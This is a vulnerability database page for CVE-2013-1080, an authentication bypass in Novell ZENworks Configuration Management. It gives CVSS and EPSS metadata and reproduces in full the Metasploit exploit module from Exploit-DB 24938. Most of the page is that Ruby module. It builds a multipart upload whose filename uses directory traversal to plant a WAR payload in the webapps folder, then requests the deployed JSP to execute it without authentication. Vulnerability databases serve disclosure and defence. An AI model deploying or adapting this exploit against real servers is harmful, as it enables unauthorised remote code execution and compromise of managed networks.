CVE-2013-1080 : Detail

CVE-2013-1080

Authorization problems
A07-Identif. and Authent. Fail
83.36%V3
Network
2013-03-29
09h00 +00:00
2013-12-09
14h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The web server in Novell ZENworks Configuration Management (ZCM) 10.3 and 11.2 before 11.2.4 does not properly perform authentication for zenworks/jsp/index.jsp, which allows remote attackers to conduct directory traversal attacks, and consequently upload and execute arbitrary programs, via a request to TCP port 443.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-287 Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 24938

Publication date : 2013-04-07 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Novell ZENworks Configuration Management Remote Execution', 'Description' => %q{ This module exploits a code execution flaw in Novell ZENworks Configuration Management 10 SP3 and 11 SP2. The vulnerability exists in the ZEnworks Control Center application, allowing an unauthenticated attacker to upload a malicious file outside of the TEMP directory and then make a second request that allows for arbitrary code execution. This module has been tested successfully on Novell ZENworks Configuration Management 10 SP3 and 11 SP2 on Windows 2003 SP2 and SUSE Linux Enterprise Server 10 SP3. }, 'Author' => [ 'James Burton', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-1080' ], [ 'BID', '58668' ], [ 'OSVDB', '91627' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-049/' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011812' ] ], 'Privileged' => false, 'Platform' => [ 'win', 'linux' ], 'Targets' => [ [ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / Windows 2003 SP2', { 'Arch' => ARCH_X86, 'Platform' => 'win', 'Traversal' => '../webapps/' } ], [ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / SUSE Linux Enterprise Server 10 SP3', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'Traversal' => '../../opt/novell/zenworks/share/tomcat/webapps/' } ] ], 'DefaultTarget' => 1, 'DisclosureDate' => 'Mar 22 2013')) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]) ], self.class) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => "/zenworks/jsp/fw/internal/Login.jsp" }) if res and res.code == 200 and res.body =~ /Novell ZENworks Control Center/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Detected end def exploit # Generate the WAR containing the EXE containing the payload app_base = rand_text_alphanumeric(4+rand(4)) jsp_name = rand_text_alphanumeric(8+rand(8)) war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...") # Rex::MIME::Message.new doesn't work fine with binary data, destroys "\x0d" chars boundary = "----#{rand_text_alpha(34)}" data = "--#{boundary}\r\n" data << "Content-Disposition: form-data; name=\"mainPage:_ctrl21a:FindFile:filePathTextBox\"; filename=\"#{target['Traversal']}#{app_base}.war\"\r\n" data << "Content-Type: application/octet-stream\r\n\r\n" data << war_data data << "\r\n" data << "--#{boundary}--" res = send_request_cgi( { 'method' => 'POST', 'uri' => "/zenworks/jsp/index.jsp?pageid=newDocumentWizard", 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => data }) if res and res.code == 302 print_status("Upload finished, waiting 20 seconds for payload deployment...") else fail_with(Exploit::Failure::Unknown, "Failed to upload payload") end # Wait to ensure the uploaded war is deployed select(nil, nil, nil, 20) print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...") send_request_cgi({ 'uri' => normalize_uri(app_base, "#{jsp_name}.jsp"), 'method' => 'GET', }) end end

Products Mentioned

Configuraton 0

Novell>>Zenworks_configuration_management >> Version 10.3

Novell>>Zenworks_configuration_management >> Version 11.2

References

http://www.exploit-db.com/exploits/24938
Tags : exploit, x_refsource_EXPLOIT-DB